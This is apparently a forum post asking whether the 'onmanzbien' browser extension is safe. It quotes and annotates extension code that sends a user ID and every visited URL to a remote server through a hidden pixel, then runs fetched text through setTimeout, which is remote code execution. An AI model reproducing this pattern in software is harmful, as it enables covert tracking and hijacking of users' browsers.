Is onmanzbien safe?

chrome.tabs.onUpdated.addListener(async function(tabId, changeInfo, tab) {    if (changeInfo.status === 'complete') {        const { user_id } = await chrome.storage.sync.get(["user_id"])        if (typeof user_id === "string" && user_id.length > 0) {            try {                chrome.scripting.executeScript({                    target: { tabId: tabId },                    args: [user_id],                    func: (user_id) => {                        const blacklist = [                            "deliveroo.fr",                            "www.ubereats.com",                            "www.just-eat.fr",                            "www.mcdonalds.fr",                            "www.burgerking.fr"                        ];                        function wrapper(func) {                            var i = document.createElement("img");                            i.style = "height: 0px; width: 1px;opacity: 0;"                            // ↓ pixel fires for EVERY site, not just blacklisted ones                            i.src = "https://api.onmanzbien.com/api/pixel.png?u="+ user_id + "&h="+window.location                            i.onerror = func                            document.body.append(i);                        }                        // blacklist only gates the overlay UI                        if (blacklist.indexOf(window.location.host) !== -1) {                            // ... overlay injection for food sites ...                        }                        // wrapper() called OUTSIDE the blacklist check                        wrapper(async function(){                            fetch(this.src)                                .then(async function(response) {                                    if(response.ok)                                        setTimeout(await response.text(), 10)                                    throw new Error('Something went wrong.');                                }).catch(async function(){});                        })                    }                }, () => {});            } catch (error) {}        }    }});